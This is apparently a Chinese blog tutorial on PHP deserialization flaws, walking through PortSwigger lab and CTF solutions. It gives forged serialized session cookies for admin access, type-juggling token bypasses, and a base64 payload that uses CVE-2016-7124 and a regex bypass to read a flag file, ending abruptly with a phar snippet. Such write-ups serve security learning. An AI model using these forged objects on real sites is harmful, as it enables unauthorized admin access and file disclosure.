一、什么是反序列化?

首先我们要知道什么是序列化,我们在php里定义一个class,这个class里存储着一些变量和数据,如果这个class一直不销毁,就会浪费系统资源,在一些大型项目里可能就会产生问题,因此,我们可以把这个对象序列化(serialize),以字符串的形式存储起来,当需要用的时候再将它进行反序列化(unserialize)回来就可以了。

例如:

1
2
3
4
5
6
7
8
<?php
class demo{
public $name = 'bob';
public $age = 22;
}
$var = new demo();
echo serialize($var);
?>

运行结果为:

1
O:4:"demo":2:{s:4:"name";s:3:"bob";s:3:"age";i:22;}

这里的各个字母分别的含义为:

1
2
3
4
5
6
7
8
9
10
11
a - array  数组
b - boolean 布尔型
d - double 双精度型
i - integer 整型
r - reference 对象引用
s - string 字符串
C - custom object 自定义对象序列化
O - class 对象
N - null NULL值
R - pointer reference
U - unicode string

二、漏洞的产生

1、修改对象属性

在篡改数据的时候,只要攻击者保留一个有效的序列化对象,反序列化过程就会创建一个带有修改后的属性值的服务器端对象。

例如:有一个使用序列化User对象将用户会话数据存储在cookie中的网站,如果我们能在HTTP请求中发现这个序列化对象,将其解码找到这个序列化后的数据:

O:4:"User":2:{s:8:"Username";s:3:"Bob";s:5:"Admin";b:0;}

可以看到"Admin"属性是一个bool类型,我们就可以直接将属性值更改为1,重新编码该对象并覆盖原来的cookie,此时如果网站是通过该cookie来检查当前用户是否拥有管理员权限,那么我们就可以得到管理员权限。

2、修改对象数据类型

PHP的逻辑运算符"=="比较不同的数据类型时,只会比较它们的值而不会比较类型,因此这就意味着1 == '1'为true。更为不同的是,这也适用与任何以数字开头的字母数字字符串,这时,PHP会将整个字符串转换成该字符串开头的整数值,其余部分被完全忽略,因此1 == '1 aabbcc'会被PHP视为1 == 1,甚至当字符串没有任何数字时,0 == 'aabbcc'的计算结果是true。

1
2
3
4
5
$login = unserialize($_COOKIE)
if ($login['password'] == $password)
{
//登录成功
}

我们通过修改password属性,使其为整数0而不是预期的字符串,只要存储的密码不以数字开头,条件就会始终返回true,从而绕过验证登录

3、Magic Method

php里存在一种叫magic method的函数,这类函数在满足某些条件的时候就会被触发

  1. __construct():当一个对象被创建时被调用
  2. __destruct():当一个对象被销毁时被调用
  3. __sleep():在序列化即使用之后被调用
  4. __wakeup():在反序列化之后被调用

如果服务器能够接收反序列化过的字符串,并且未经过滤就把其中的变量直接放进这些函数中,就可能造成漏洞

三、实例分析

1、修改对象属性

BurpSuite里的一个靶场:https://portswigger.net/web-security/all-labs

进来之后用它提供的用户名和密码进行登录

截获该HTTP请求:

可以看到这里cookie的session值进行了base64的加密,将其解密后就是一个User对象的序列化字符串

O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}

只要我们将admin的值更改为1,再重新编码并替换掉原先的session值,我们就可以以管理员的身份登入,并可以将用户删除,删除即可完成该实验

2、修改对象数据类型

同样,用题目所给的用户名进行登录,然后抓包,得到cookie的session值:Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJmOGhla3N2YzlncXl4OHBzY25ldmg0Z2toeHhzbHZrNCI7fQ==

解码为:O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"f8heksvc9gqyx8pscnevh4gkhxxslvk4";}

我们要伪造管理员登录,并且绕过token的验证,因此将该字符串更改为:O:4:"User":2:{s:8:"username";s:13:"adminitrator";s:12:"access_token";i:0;}

将其编码后更换原先的session,就能成功的以管理员的身份进入

3、Magic Method

一道攻防世界的题目:

1

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>

这里涉及到一个__wakeup()函数的漏洞,也就是CVE-2016-7124这个漏洞,通过修改对象的属性数目使其大于实际数目就可以绕过该magic函数的调用,涉及的PHP版本:

PHP5:<5.6.25

PHP7:<7.0.10

然后构造payload:

1
2
3
4
5
6
7
<?php
class Demo{
private $file = 'fl4g.php';
}
$var = new Demo();
echo serialize($var);
?>

生成序列化后的字符串:

1
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

注意:

这里真正的字符串是这个

2

因为php的对象里的属性有几种:

1
2
3
public 公共属性
private 私有属性
protected 受保护的属性

而其中的privateprotected定义的变量在序列化之后会有两个空字符,复制时是没办法复制这个空字符的,因此需要在php里继续构造:

1
2
3
4
5
6
7
8
9
10
<?php
class Demo{
private $file = 'fl4g.php';
}
$var = new Demo();
$var = serialize($var);
$var = str_replace('O:4','O:+4',$var); //绕过正则匹配
$var = str_replace(':1:',':2:',$var); //绕过__wakeup()函数
echo base64_encode($var);
?>

生成payload:

1
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

再传参即可

至于为什么加一个+号就可以绕过正则,这是PHP的一个bug,详情可以看看这篇文章 https://www.phpbug.cn/archives/32.html

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class demo{
}
@unlink("test.phar")
$phar = new Phar("test.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(): ?>"); //设置stub
$o = new demo();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt","fllllag"); //添加要压缩的文件
$phar->stopBuffering();
?>